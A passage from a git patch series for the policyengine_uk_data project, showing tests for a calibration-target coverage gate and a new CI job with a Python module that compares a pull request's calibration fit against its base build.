+                "issue": "https://github.com/a",
+                "targets": ["t"],
+            },
+            "status",
+        ),
+        (
+            {
+                "status": "zero_signal",
+                "reason": "",
+                "issue": "https://github.com/a",
+                "targets": ["t"],
+            },
+            "reason",
+        ),
+        (
+            {"status": "zero_signal", "reason": "x", "issue": "#456", "targets": ["t"]},
+            "issue",
+        ),
+        (
+            {
+                "status": "zero_signal",
+                "reason": "x",
+                "issue": "https://github.com/a",
+                "targets": [],
+            },
+            "no targets",
+        ),
+        (
+            {
+                "status": "zero_signal",
+                "reason": "x",
+                "issue": "https://github.com/a",
+                "targets": ["t", "t"],
+            },
+            "twice",
+        ),
+    ],
+)
+def test_malformed_known_gaps_are_refused(entry, match):
+    with pytest.raises(ValueError, match=match):
+        parse_known_gaps({"schema_version": 1, "gaps": [entry]})
+
+
+def _gap(status, *names):
+    return KnownGap(status, frozenset(names), "reason", "https://github.com/x")
+
+
+def test_a_gap_excuses_only_its_own_status_and_stale_gaps_are_reported():
+    statuses = [
+        TargetStatus("a", "in_matrix"),
+        TargetStatus("b", "zero_signal"),
+        TargetStatus("c", "no_value_for_year"),
+        TargetStatus("d", "error", "KeyError: x"),
+    ]
+    problems, stale = coverage_problems(
+        statuses,
+        [_gap("zero_signal", "b", "c"), _gap("no_column", "gone")],
+    )
+    assert problems == ["c: no_value_for_year", "d: error (KeyError: x)"]
+    assert stale == [
+        "c: listed as zero_signal, now no_value_for_year",
+        "gone: listed as no_column, now not offered by the registry",
+    ]
+
+
+statuses_strategy = st.dictionaries(
+    st.text("abcdef", min_size=1, max_size=3), st.sampled_from(STATUSES), max_size=12
+)
+
+
+@settings(max_examples=300, deadline=None)
+@given(statuses=statuses_strategy, data=st.data())
+def test_problems_are_exactly_the_unexcused_targets_out_of_the_matrix(statuses, data):
+    names = sorted(statuses)
+    excused = data.draw(
+        st.dictionaries(
+            st.sampled_from(names + ["zz"]) if names else st.just("zz"),
+            st.sampled_from(EXCUSABLE),
+        )
+    )
+    gaps = [_gap(status, name) for name, status in excused.items()]
+    rows = [TargetStatus(name, statuses[name]) for name in names]
+    problems, stale = coverage_problems(rows, gaps)
+    expected = [
+        f"{n}: {statuses[n]}"
+        for n in names
+        if statuses[n] != "in_matrix" and excused.get(n) != statuses[n]
+    ]
+    assert problems == expected
+    assert {s.split(":")[0] for s in stale} == {
+        n for n, status in excused.items() if statuses.get(n) != status
+    }
+    # Order of the statuses never changes the verdict.
+    shuffled = data.draw(st.permutations(rows))
+    assert sorted(coverage_problems(shuffled, gaps)[0]) == sorted(problems)
+
+
+def _target(name, values={2025: 10.0}, **kwargs):
+    return Target(
+        name=name,
+        variable="employment_income",
+        source="test",
+        unit=Unit.GBP,
+        values=values,
+        **kwargs,
+    )
+
+
+@pytest.fixture
+def fake_matrix(monkeypatch):
+    """create_target_matrix over two households, with chosen targets and columns."""
+    import policyengine_uk
+
+    class FakeMicrosimulation:
+        def __init__(self, dataset=None, reform=None):
+            pass
+
+        def calculate(self, variable, *args, **kwargs):
+            assert variable == "country"
+            return pd.Series(["ENGLAND", "WALES"])
+
+    monkeypatch.setattr(policyengine_uk, "Microsimulation", FakeMicrosimulation)
+
+    def configure(targets, columns):
+        monkeypatch.setattr(
+            build_loss_matrix,
+            "get_all_targets",
+            lambda geographic_level=None: (
+                targets if geographic_level == GeographicLevel.NATIONAL else []
+            ),
+        )
+
+        def compute(target, ctx, year):
+            column = columns[target.name]
+            if isinstance(column, Exception):
+                raise column
+            return None if column is None else np.asarray(column, dtype=float)
+
+        monkeypatch.setattr(build_loss_matrix, "_compute_column", compute)
+        return SimpleNamespace(time_period="2025")
+
+    return configure
+
+
+def test_a_dropped_target_fails_the_matrix_unless_it_is_a_known_gap(
+    fake_matrix, monkeypatch
+):
+    dataset = fake_matrix(
+        [_target("ok"), _target("later", values={2026: 1.0}), _target("broken")],
+        {"ok": [1.0, 0.0], "later": [1.0, 1.0], "broken": KeyError("no such variable")},
+    )
+    with pytest.raises(TargetCoverageError) as raised:
+        build_loss_matrix.create_target_matrix(dataset, time_period="2025")
+    message = str(raised.value)
+    assert "later: no_value_for_year (values for 2026)" in message
+    assert "broken: error (KeyError: 'no such variable')" in message
+    df, values = build_loss_matrix.create_target_matrix(
+        dataset, time_period="2025", require_coverage=False
+    )
+    assert list(df.columns) == ["ok"] and list(values.index) == ["ok"]
+    monkeypatch.setattr(
+        "policyengine_uk_data.targets.coverage.load_known_gaps",
+        lambda: [_gap("no_value_for_year", "later")],
+    )
+    with pytest.raises(TargetCoverageError, match="broken"):
+        build_loss_matrix.create_target_matrix(dataset, time_period="2025")
+
+
+def test_a_column_without_signal_fails_unless_it_is_a_known_gap(
+    fake_matrix, monkeypatch
+):
+    dataset = fake_matrix(
+        [_target("ok"), _target("flat")], {"ok": [1.0, 2.0], "flat": [0.0, 0.0]}
+    )
+    with pytest.raises(TargetCoverageError, match="flat: zero_signal"):
+        build_loss_matrix.create_target_matrix(dataset, time_period="2025")
+    monkeypatch.setattr(
+        "policyengine_uk_data.targets.coverage.load_known_gaps",
+        lambda: [_gap("zero_signal", "flat")],
+    )
+    df, values = build_loss_matrix.create_target_matrix(dataset, time_period="2025")
+    # Known gaps still enter the matrix: the change is that they are declared.
+    assert list(df.columns) == ["ok", "flat"]
+
+
+def test_a_non_finite_column_is_never_excused(fake_matrix, monkeypatch):
+    dataset = fake_matrix([_target("nan")], {"nan": [np.nan, 1.0]})
+    monkeypatch.setattr(
+        "policyengine_uk_data.targets.coverage.load_known_gaps",
+        lambda: [_gap("zero_signal", "nan")],
+    )
+    with pytest.raises(TargetCoverageError, match="nan: non_finite"):
+        build_loss_matrix.create_target_matrix(dataset, time_period="2025")
+
+
+def test_stale_gaps_warn_without_failing(caplog):
+    caplog.set_level("WARNING", logger="policyengine_uk_data.targets.coverage")
+    stale = check_coverage([TargetStatus("a", "in_matrix")], [_gap("zero_signal", "a")])
+    assert stale == ["a: listed as zero_signal, now in_matrix"]
+    assert "Stale known calibration-target gap" in caplog.text
+
+
+def test_built_data_has_no_target_outside_the_matrix_and_the_known_gaps(enhanced_frs):
+    """On the built dataset the gate passes: the known gaps are complete."""
+    from policyengine_uk_data.datasets.frs_release import CURRENT_FRS_RELEASE
+
+    _, _, statuses = build_loss_matrix.build_target_matrix(
+        enhanced_frs, str(CURRENT_FRS_RELEASE.calibration_year)
+    )
+    problems, _ = coverage_problems(statuses, load_known_gaps())
+    assert problems == []
diff --git a/policyengine_uk_data/utils/loss.py b/policyengine_uk_data/utils/loss.py
index 27eb919f..cae347e8 100644
--- a/policyengine_uk_data/utils/loss.py
+++ b/policyengine_uk_data/utils/loss.py
@@ -23,7 +23,11 @@ def get_loss_results(dataset, time_period, reform=None, household_weights=None):
     Returns:
         DataFrame with estimate vs target comparisons and error metrics.
     """
-    matrix, targets = create_target_matrix(dataset, time_period, reform)
+    # A diagnostic of any dataset: report every target, fitted or not,
+    # rather than enforce the Enhanced FRS build's coverage gate.
+    matrix, targets = create_target_matrix(
+        dataset, time_period, reform, require_coverage=False
+    )
     from policyengine_uk import Microsimulation
 
     if household_weights is None:
diff --git a/policyengine_uk_data/utils/reweight.py b/policyengine_uk_data/utils/reweight.py
index 0fc9da8b..e94f9203 100644
--- a/policyengine_uk_data/utils/reweight.py
+++ b/policyengine_uk_data/utils/reweight.py
@@ -38,7 +38,11 @@ def calibrate_household_weights(
     datasets such as the UK enhanced CPS.
     """
 
-    matrix, targets = create_target_matrix(dataset, time_period, reform)
+    # Only the CPS-based transfer dataset is reweighted here; the coverage
+    # gate is for the Enhanced FRS build (datasets/create_datasets.py).
+    matrix, targets = create_target_matrix(
+        dataset, time_period, reform, require_coverage=False
+    )
     household_count = len(dataset.household)
     if household_count == 0:
         raise ValueError("Dataset must contain at least one household")

From 018e0b56a0d3253065a51937ccceaf5a65228c31 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 07:37:41 -0400
Subject: [PATCH 19/76] Compare each pull request's calibration fit with its
 base build's

Pull request CI now also builds the PR's base, in the same way as the
head (TESTING, one clone) and with the head's lockfile, so both run one
model and environment. A new job compares the two final-epoch fits from
their calibration logs. It fails when the share of national or local
targets within 10% falls by more than 2pp, flags national targets whose
error rises by more than 0.2, and posts the comparison on the PR.

The thresholds (targets/fit_policy.yaml, adopted under d1344) come from
five builds of the same data code: their shares moved by at most 0.93pp
(national) and 0.69pp (local), and they flagged 0 to 6 targets per pair.
Per-target moves only flag while #598 (two weight sets from one code)
is open. Only calibration logs are uploaded, as before.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml           | 123 ++++++++++
 changelog.d/fit-comparison.added.md           |   1 +
 policyengine_uk_data/targets/fit_policy.yaml  |  29 +++
 policyengine_uk_data/tests/test_fit_report.py | 179 ++++++++++++++
 policyengine_uk_data/utils/fit_report.py      | 231 ++++++++++++++++++
 5 files changed, 563 insertions(+)
 create mode 100644 changelog.d/fit-comparison.added.md
 create mode 100644 policyengine_uk_data/targets/fit_policy.yaml
 create mode 100644 policyengine_uk_data/tests/test_fit_report.py
 create mode 100644 policyengine_uk_data/utils/fit_report.py

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index 9443fa25..4b035dc3 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -104,3 +104,126 @@ jobs:
           # Relaxes built-dataset outcome tolerances to match the reduced
           # fidelity of the TESTING build above (see test_cgt_band_donors).
           TESTING: "1"
+  # The no-worsening check (W3). The base is built the same way as the head:
+  # TESTING, one clone and the head's lockfile, so both builds run one model
+  # and environment and the comparison measures the data change. Only the
+  # base's calibration log leaves the job. Like the head's, it holds target
+  # estimates and values, aggregates; no dataset is uploaded or cached.
+  base-build:
+    name: Build the base for comparison
+    runs-on: ubuntu-latest
+    timeout-minutes: 60
+    env:
+      HUGGING_FACE_TOKEN: ${{ secrets.HUGGING_FACE_TOKEN }}
+      PYTHONUNBUFFERED: "1"
+      PE_UK_DATA_OA_CLONES: "1"
+    steps:
+      - name: Check out the head, for its lockfile
+        uses: actions/checkout@v6
+        with:
+          path: head
+      - name: Check out the base
+        uses: actions/checkout@v6
+        with:
+          ref: ${{ github.event.pull_request.base.sha }}
+          path: base
+      - name: Install uv
+        uses: astral-sh/setup-uv@v8.1.0
+      - name: Set up Python
+        uses: actions/setup-python@v6
+        with:
+          python-version: 3.13
+      - name: Sync the head's locked environment for the base
+        run: |
+          cp head/uv.lock base/uv.lock
+          cd base && uv sync --frozen --all-extras
+      - name: Download data inputs
+        working-directory: base
+        run: uv run --frozen make download
+      - name: Build the base datasets
+        working-directory: base
+        run: uv run --frozen make data
+        env:
+          TESTING: "1"
+      - name: Save the base calibration log
+        uses: actions/upload-artifact@v7
+        with:
+          name: base_constituency_calibration_log.csv
+          path: base/constituency_calibration_log.csv
+  fit-comparison:
+    name: Calibration fit against the base
+    needs: [test, base-build]
+    # Report a failed side too: an earlier passing comment must not stand.
+    if: ${{ !cancelled() }}
+    runs-on: ubuntu-latest
+    timeout-minutes: 20
+    permissions:
+      contents: read
+      issues: write
+      pull-requests: write
+    steps:
+      - uses: actions/checkout@v6
+      - name: Install uv
+        uses: astral-sh/setup-uv@v8.1.0
+      - name: Set up Python
+        uses: actions/setup-python@v6
+        with:
+          python-version: 3.13
+      - name: Sync locked environment
+        run: uv sync --frozen
+      - name: Download the head calibration log
+        uses: actions/download-artifact@v8
+        continue-on-error: true
+        with:
+          name: constituency_calibration_log.csv
+          path: logs/head
+      - name: Download the base calibration log
+        uses: actions/download-artifact@v8
+        continue-on-error: true
+        with:
+          name: base_constituency_calibration_log.csv
+          path: logs/base
+      - name: Compare the final fits
+        id: compare
+        env:
+          RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}
+        run: |
+          marker='<!-- policyengine-uk-data-fit-comparison -->'
+          if [ ! -f logs/head/constituency_calibration_log.csv ] || [ ! -f logs/base/constituency_calibration_log.csv ]; then
+            {
+              echo "$marker"
+              echo '## Calibration fit against the base build: FAIL'
+              echo
+              echo "One of the builds produced no calibration log, so the fit could not be compared. See the [workflow run]($RUN_URL)."
+            } > fit.md
+            echo "status=1" >> "$GITHUB_OUTPUT"
+          else
+            set +e
+            uv run --frozen python -m policyengine_uk_data.utils.fit_report compare \
+              logs/base/constituency_calibration_log.csv \
+              logs/head/constituency_calibration_log.csv --markdown body.md
+            echo "status=$?" >> "$GITHUB_OUTPUT"
+            set -e
+            { echo "$marker"; cat body.md 2>/dev/null || echo '## Calibration fit against the base build: FAIL'; echo; echo "[Workflow run]($RUN_URL)"; } > fit.md
+          fi
+          cat fit.md >> "$GITHUB_STEP_SUMMARY"
+      - name: Post or update the pull request comment
+        if: ${{ !cancelled() && github.event.pull_request.head.repo.full_name == github.repository }}
+        env:
+          GH_TOKEN: ${{ github.token }}
+          PR: ${{ github.event.pull_request.number }}
+        run: |
+          marker='<!-- policyengine-uk-data-fit-comparison -->'
+          existing=$(gh api --paginate "repos/$GITHUB_REPOSITORY/issues/$PR/comments" \
+            --jq ".[] | select(.user.login == \"github-actions[bot]\") | select(.body | startswith(\"$marker\")) | .id" \
+            | tail -n 1)
+          if [ -n "$existing" ]; then
+            gh api -X PATCH "repos/$GITHUB_REPOSITORY/issues/comments/$existing" -F body=@fit.md > /dev/null
+          else
+            gh api -X POST "repos/$GITHUB_REPOSITORY/issues/$PR/comments" -F body=@fit.md > /dev/null
+          fi
+      - name: Fail on a fit regression
+        if: steps.compare.outputs.status != '0'
+        run: |
+          echo "::error::The head build's calibration fit is worse than the base's; see the job summary."
+          exit 1
diff --git a/changelog.d/fit-comparison.added.md b/changelog.d/fit-comparison.added.md
new file mode 100644
index 00000000..6c7bebf9
--- /dev/null
+++ b/changelog.d/fit-comparison.added.md
@@ -0,0 +1 @@
+Build each pull request's base the same way as its head, with the head's lockfile, and fail when the share of national or local targets within 10% falls by more than 2 percentage points (`targets/fit_policy.yaml`). National targets whose error rises by more than 0.2 are flagged in a pull request comment. Adds `python -m policyengine_uk_data.utils.fit_report compare`.
diff --git a/policyengine_uk_data/targets/fit_policy.yaml b/policyengine_uk_data/targets/fit_policy.yaml
new file mode 100644
index 00000000..c0674db4
--- /dev/null
+++ b/policyengine_uk_data/targets/fit_policy.yaml
@@ -0,0 +1,29 @@
+# When a pull request's build fails or flags against its base build's fit
+# (utils/fit_report.py). Both builds run the same way in pull request CI:
+# TESTING, 32 epochs, one output-area clone, the head's lockfile.
+#
+# Adopted under cos d1344 (15 October 2026), from the final-epoch fits of
+# five builds of the same data code: docs, changelog and CI pull requests
+# while main's data code was unchanged from b34a4ea2 to 2b9c1c2c (runs
+# 38006434333, 37959581668, 38009046475, 37960852139, 37864653693).
+schema_version: 1
+
+share_within_10pct:
+  # Fail when the share of national, or of local, targets within 10% of
+  # their values falls by more than this. Across the 20 ordered pairs of the
+  # five builds the national share moved by at most 0.93pp and the local by
+  # at most 0.69pp, so 2pp is about twice the same-code spread.
+  # Alternatives: 1pp leaves no margin over that spread while #598 (builds
+  # of the same code fall into two weight sets) is unexplained. 5pp would
+  # pass the 2.4pp local drop of #551's build against the build of the
+  # 1.58.1 release branch (runs 38661397028 and 38228500493).
+  allowed_drop: 0.02
+
+national_target:
+  # Flag, for review, each national target whose error |estimate / target -
+  # 1| rises by more than this. The five builds give 0 to 6 such rises per
+  # pair (mean 1.8), so a list stays short. 0.1 gives up to 11 from noise
+  # alone, and 0.3 would hide the largest same-code move on the OBR, ONS
+  # population and DWP targets (0.21). Per-target moves don't fail until
+  # #598 is fixed.
+  flag_rise: 0.2
diff --git a/policyengine_uk_data/tests/test_fit_report.py b/policyengine_uk_data/tests/test_fit_report.py
new file mode 100644
index 00000000..276540e2
--- /dev/null
+++ b/policyengine_uk_data/tests/test_fit_report.py
@@ -0,0 +1,179 @@
+"""The final calibration fit and the no-worsening comparison (utils/fit_report.py)."""
+
+import numpy as np
+import pandas as pd
+import pytest
+from hypothesis import given, settings
+from hypothesis import strategies as st
+
+from policyengine_uk_data.utils.fit_report import (
+    FitPolicy,
+    compare_fits,
+    final_fit,
+    load_policy,
+    main,
+)
+
+POLICY = FitPolicy(share_drop_allowance=0.02, target_flag_threshold=0.2)
+
+
+def _log(national: dict, local=(), epochs=(0, 30)):
+    """A calibration log: national {metric: (estimate, target)}, local [(est, target)]."""
+    rows = []
+    for epoch in epochs:
+        for metric, (estimate, target) in national.items():
+            rows.append(("UK", metric, estimate, target, epoch))
+        for i, (estimate, target) in enumerate(local):
+            rows.append((f"area {i}", f"local/{i}", estimate, target, epoch))
+    return pd.DataFrame(rows, columns=["name", "metric", "estimate", "target", "epoch"])
+
+
+def test_final_fit_reads_the_last_epoch_and_drops_zero_targets():
+    log = _log(
+        {"a": (105, 100), "b": (150, 100), "zero": (5, 0)}, local=[(9, 10), (20, 10)]
+    )
+    log.loc[log.epoch == 0, "estimate"] = 1  # earlier epochs are ignored
+    fit = final_fit(log)
+    assert fit.epoch == 30
+    assert fit.national.to_dict() == pytest.approx({"a": 0.05, "b": 0.5})
+    assert fit.national_within == 0.5
+    assert fit.local_within == 0.5
+
+
+def test_a_malformed_log_is_refused():
+    with pytest.raises(ValueError, match="no rows"):
+        final_fit(_log({}, epochs=()))
+    log = _log({"a": (np.inf, 100)})
+    with pytest.raises(ValueError, match="non-finite"):
+        final_fit(log)
+    log = pd.concat([_log({"a": (1, 1)}), _log({"a": (2, 1)})])
+    with pytest.raises(ValueError, match="repeats"):
+        final_fit(log)
+
+
+def test_a_drop_beyond_the_allowance_fails_and_within_it_passes():
+    targets = {f"t{i}": (100, 100) for i in range(100)}
+    base = final_fit(_log(targets, local=[(100, 100)] * 10))
+    worse = dict(targets, **{f"t{i}": (150, 100) for i in range(3)})
+    head = final_fit(_log(worse, local=[(100, 100)] * 10))
+    result = compare_fits(base, head, POLICY)
+    assert result["status"] == "fail"
+    assert (
+        "national targets within 10% falls from 100.0% to 97.0%"
+        in result["failures"][0]
+    )
+    assert [f["target"] for f in result["flags"]] == ["t0", "t1", "t2"]
+    slightly = dict(targets, t0=(150, 100))
+    assert (
+        compare_fits(base, final_fit(_log(slightly, local=[(100, 100)] * 10)), POLICY)[
+            "status"
+        ]
+        == "pass"
+    )
+
+
+def test_builds_of_different_epochs_cannot_be_compared():
+    base = final_fit(_log({"a": (1, 1)}, epochs=(0, 30)))
+    head = final_fit(_log({"a": (1, 1)}, epochs=(0, 510, 511)))
+    assert compare_fits(base, head, POLICY)["status"] == "fail"
+    # 32 epochs log last at 30, or at 31 once the final epoch is saved (#594).
+    final = final_fit(_log({"a": (1, 1)}, epochs=(0, 30, 31)))
+    result = compare_fits(base, final, POLICY)
+    assert result["status"] == "pass"
+    assert "saves the final epoch" in result["notes"][0]
+
+
+def test_the_pull_request_workflow_uploads_only_calibration_logs():
+    """The datasets are licensed microdata: no job may upload or cache one."""
+    from pathlib import Path
+
+    import yaml
+
+    workflow = Path(__file__).parents[2] / ".github" / "workflows" / "pull_request.yaml"
+    jobs = yaml.safe_load(workflow.read_text())["jobs"]
+    uploads = []
+    for job in jobs.values():
+        for step in job.get("steps", []):
+            uses = step.get("uses", "")
+            assert not uses.startswith("actions/cache"), step
+            if uses.startswith("actions/upload-artifact"):
+                uploads.append(step["with"]["path"])
+    assert uploads and all(p.endswith("calibration_log.csv") for p in uploads), uploads
+    assert jobs["fit-comparison"]["needs"] == ["test", "base-build"]
+
+
+def test_new_and_removed_targets_are_noted_not_failed():
+    base = final_fit(_log({"a": (1, 1), "old": (1, 1)}))
+    head = final_fit(_log({"a": (1, 1), "new": (1, 1)}))
+    result = compare_fits(base, head, POLICY)
+    assert result["status"] == "pass"
+    assert result["notes"] == [
+        "1 national targets are new: new",
+        "1 national targets are gone: old",
+    ]
+
+
+errors = st.lists(st.floats(0, 3), min_size=1, max_size=40)
+
+
+@settings(max_examples=200, deadline=None)
+@given(national=errors, local=errors)
+def test_a_build_compared_with_itself_passes_with_nothing_flagged(national, local):
+    fit = final_fit(
+        _log(
+            {f"t{i}": (100 * (1 + e), 100) for i, e in enumerate(national)},
+            local=[(100 * (1 + e), 100) for e in local],
+        )
+    )
+    result = compare_fits(fit, fit, POLICY)
+    assert result["status"] == "pass" and result["flags"] == []
+    assert all(row["change"] == 0 for row in result["summary"].values())
+
+
+@settings(max_examples=200, deadline=None)
+@given(base=errors, data=st.data())
+def test_improving_every_target_never_fails_and_changes_are_antisymmetric(base, data):
+    better = [data.draw(st.floats(0, e)) for e in base]
+    fit_base = final_fit(
+        _log({f"t{i}": (100 * (1 + e), 100) for i, e in enumerate(base)})
+    )
+    fit_head = final_fit(
+        _log({f"t{i}": (100 * (1 + e), 100) for i, e in enumerate(better)})
+    )
+    forward = compare_fits(fit_base, fit_head, POLICY)
+    assert forward["status"] == "pass" and forward["flags"] == []
+    backward = compare_fits(fit_head, fit_base, POLICY)
+    for name in ("national", "local"):
+        a, b = forward["summary"][name]["change"], backward["summary"][name]["change"]
+        assert a == pytest.approx(-b) or (np.isnan(a) and np.isnan(b))
+
+
+def test_the_shipped_policy_loads():
+    policy = load_policy()
+    assert policy.share_drop_allowance == 0.02
+    assert policy.target_flag_threshold == 0.2
+
+
+def test_the_command_exits_one_on_a_failure(tmp_path):
+    targets = {f"t{i}": (100, 100) for i in range(50)}
+    _log(targets).to_csv(tmp_path / "base.csv", index=False)
+    _log(dict(targets, **{f"t{i}": (200, 100) for i in range(5)})).to_csv(
+        tmp_path / "head.csv", index=False
+    )
+    out = tmp_path / "fit.md"
+    assert (
+        main(
+            [
+                "compare",
+                str(tmp_path / "base.csv"),
+                str(tmp_path / "head.csv"),
+                "--markdown",
+                str(out),
+            ]
+        )
+        == 1
+    )
+    assert "## Calibration fit against the base build: fail" in out.read_text()
+    assert (
+        main(["compare", str(tmp_path / "base.csv"), str(tmp_path / "base.csv")]) == 0
+    )
diff --git a/policyengine_uk_data/utils/fit_report.py b/policyengine_uk_data/utils/fit_report.py
new file mode 100644
index 00000000..ef2d2cd3
--- /dev/null
+++ b/policyengine_uk_data/utils/fit_report.py
@@ -0,0 +1,231 @@
+"""Final calibration fit from a build's log, and the comparison of two builds.
+
+A build writes ``constituency_calibration_log.csv``: each target's estimate
+and value every tenth epoch, and at the last one. ``final_fit`` reads the
+last epoch. A target's error is |estimate / target - 1|, and targets of zero
+are left out. The national rows are those named ``UK``.
+
+``compare_fits`` checks that a pull request does not worsen the fit of the
+build it would replace, both built the same way: same environment, epochs
+and clone count. Two rules come from ``targets/fit_policy.yaml``:
+
+- **Fail** when the share of national (or local) targets within 10% falls
+  by more than the allowance.
+- **Flag** each national target whose error rises by more than the
+  same-code spread, for review.
+
+Per-target moves are not yet gates: builds of the same code currently
+differ by up to 0.62 on one target (#598).
+
+    python -m policyengine_uk_data.utils.fit_report compare BASE.csv HEAD.csv \\
+        [--markdown out.md]
+"""
+
+from __future__ import annotations
+
+import argparse
+import sys
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Optional
+
+import numpy as np
+import pandas as pd
+import yaml
+
+POLICY_PATH = Path(__file__).parents[1] / "targets" / "fit_policy.yaml"
+WITHIN = 0.10
+_COLUMNS = ["name", "metric", "estimate", "target", "epoch"]
+
+
+@dataclass(frozen=True)
+class Fit:
+    epoch: int
+    national: pd.Series  # error by target name
+    local_errors: np.ndarray
+
+    @property
+    def national_within(self) -> float:
+        return (
+            float(np.mean(self.national <= WITHIN))
+            if len(self.national)
+            else float("nan")
+        )
+
+    @property
+    def local_within(self) -> float:
+        return (
+            float(np.mean(self.local_errors <= WITHIN))
+            if len(self.local_errors)
+            else float("nan")
+        )
+
+
+@dataclass(frozen=True)
+class FitPolicy:
+    share_drop_allowance: float
+    target_flag_threshold: float
+
+
+def load_policy(path=None) -> FitPolicy:
+    with open(path or POLICY_PATH) as f:
+        raw = yaml.safe_load(f)
+    if raw.get("schema_version") != 1:
+        raise ValueError("fit policy: schema_version must be 1")
+    return FitPolicy(
+        share_drop_allowance=float(raw["share_within_10pct"]["allowed_drop"]),
+        target_flag_threshold=float(raw["national_target"]["flag_rise"]),
+    )
+
+
+def errors(frame: pd.DataFrame) -> pd.Series:
+    """|estimate / target - 1| for rows with a non-zero target."""
+    frame = frame[frame.target != 0]
+    return (frame.estimate / frame.target - 1).abs()
+
+
+def final_fit(log) -> Fit:
+    """The fit at a calibration log's last epoch."""
+    df = (
+        pd.read_csv(log, usecols=_COLUMNS) if not isinstance(log, pd.DataFrame) else log
+    )
+    if df.empty:
+        raise ValueError("the calibration log has no rows")
+    last = int(df.epoch.max())
+    rows = df[df.epoch == last]
+    national = rows[rows.name == "UK"]
+    if national.metric.duplicated().any():
+        raise ValueError(
+            "the calibration log repeats a national target at its last epoch"
+        )
+    national_errors = errors(national.set_index("metric"))
+    local_errors = errors(rows[rows.name != "UK"]).to_numpy()
+    if not np.isfinite(national_errors).all() or not np.isfinite(local_errors).all():
+        raise ValueError("the calibration log has non-finite estimates")
+    return Fit(last, national_errors, local_errors)
+
+
+def compare_fits(base: Fit, head: Fit, policy: FitPolicy) -> dict:
+    """Failures, flags and the summary for a head build against its base."""
+    failures, notes = [], []
+    # A log's last epoch is a multiple of ten or, since #594, the final one;
+    # the same epoch count gives last epochs less than ten apart.
+    if abs(base.epoch - head.epoch) >= 10:
+        failures.append(
+            f"The builds ran different epochs (logs end at {base.epoch} and "
+            f"{head.epoch}), so their fits cannot be compared."
+        )
+    elif base.epoch != head.epoch:
+        notes.append(
+            f"The base log ends at epoch {base.epoch} and the head's at {head.epoch}: "
+            "one of them saves the final epoch (#594)."
+        )
+    summary = {}
+    for name, b, h in (
+        ("national", base.national_within, head.national_within),
+        ("local", base.local_within, head.local_within),
+    ):
+        summary[name] = {"base": b, "head": h, "change": h - b}
+        if h < b - policy.share_drop_allowance:
+            failures.append(
+                f"The share of {name} targets within 10% falls from {b:.1%} to {h:.1%}, "
+                f"by more than the {policy.share_drop_allowance:.1%} allowed."
+            )
+    common = base.national.index.intersection(head.national.index)
+    added = sorted(set(head.national.index) - set(common))
+    removed = sorted(set(base.national.index) - set(common))
+    if added:
+        notes.append(f"{len(added)} national targets are new: {', '.join(added[:10])}")
+    if removed:
+        notes.append(
+            f"{len(removed)} national targets are gone: {', '.join(removed[:10])}"
+        )
+    # Largest rise first; ties keep the log's order, so a comparison is
+    # reproducible.
+    rise = (head.national[common] - base.national[common]).sort_values(
+        ascending=False, kind="mergesort"
+    )
+    flags = [
+        {"target": t, "base": float(base.national[t]), "head": float(head.national[t])}
+        for t, r in rise.items()
+        if r > policy.target_flag_threshold
+    ]
+    return {
+        "status": "fail" if failures else "pass",
+        "failures": failures,
+        "notes": notes,
+        "flags": flags,
+        "summary": summary,
+        "targets_compared": len(common),
+    }
+
+
+def render(result: dict, policy: FitPolicy) -> str:
+    lines = [
+        f"## Calibration fit against the base build: {result['status']}",
+        "",
+        "| Targets within 10% | Base | Head | Change |",
+        "|---|---:|---:|---:|",
+    ]
+    for name, row in result["summary"].items():
+        lines.append(
+            f"| {name.capitalize()} | {row['base']:.1%} | {row['head']:.1%} | {100 * row['change']:+.1f}pp |"
+        )
+    lines.append("")
+    lines.append(
+        f"A drop of more than {policy.share_drop_allowance:.1%} fails. "
+        f"{result['targets_compared']} national targets were compared."
+    )
+    if result["failures"]:
+        lines += ["", "### Failures", ""] + [f"- {f}" for f in result["failures"]]
+    if result["notes"]:
+        lines += ["", "### Notes", ""] + [f"- {n}" for n in result["notes"]]
+    flags = result["flags"]
+    lines += [
+        "",
+        f"### National targets whose error rises by more than {policy.target_flag_threshold:.2f} ({len(flags)})",
+        "",
+    ]
+    if flags:
+        lines += ["| Target | Base error | Head error |", "|---|---:|---:|"]
+        lines += [
+            f"| `{f['target']}` | {f['base']:.3f} | {f['head']:.3f} |"
+            for f in flags[:30]
+        ]
+        if len(flags) > 30:
+            lines.append(f"\n{len(flags) - 30} more in the job log.")
+    else:
+        lines.append("None.")
+    lines += [
+        "",
+        "Flags are for review; builds of the same code differ this much (#598).",
+    ]
+    return "\n".join(lines) + "\n"
+
+
+def main(argv: Optional[list] = None) -> int:
+    parser = argparse.ArgumentParser(
+        prog="python -m policyengine_uk_data.utils.fit_report"
+    )
+    sub = parser.add_subparsers(dest="command", required=True)
+    c = sub.add_parser(
+        "compare", help="compare a head build's final fit with its base's"
+    )
+    c.add_argument("base")
+    c.add_argument("head")
+    c.add_argument("--markdown", help="write the comparison here as markdown")
+    c.add_argument("--policy", help="fit policy YAML (default targets/fit_policy.yaml)")
+    args = parser.parse_args(argv)
+    policy = load_policy(args.policy)
+    result = compare_fits(final_fit(args.base), final_fit(args.head), policy)
+    text = render(result, policy)
+    if args.markdown:
+        Path(args.markdown).write_text(text)
+    print(text)
+    for flag in result["flags"]:
+        print(f"flag: {flag['target']} {flag['base']:.4f} -> {flag['head']:.4f}")
+    return 1 if result["status"] == "fail" else 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

From 98ad844665fde3a12835a98d7cc895dab2b41a7d Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 07:57:40 -0400
Subject: [PATCH 20/76] Bind EFO vintages to their workbook titles; refuse rows
 with their own unit
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Sol review of #592:
- The manifest's vintage, its label and both workbook titles must agree
  (march_2026, "March 2026", "March 2026 Economic and fiscal outlook ...
  receipts"), at load and at ingest, so verified March bytes cannot be
  labelled October.
- A row whose label states its own unit ("Standard colour licence fee
  (£)") is refused under a "£ billion unless otherwise stated" table, and
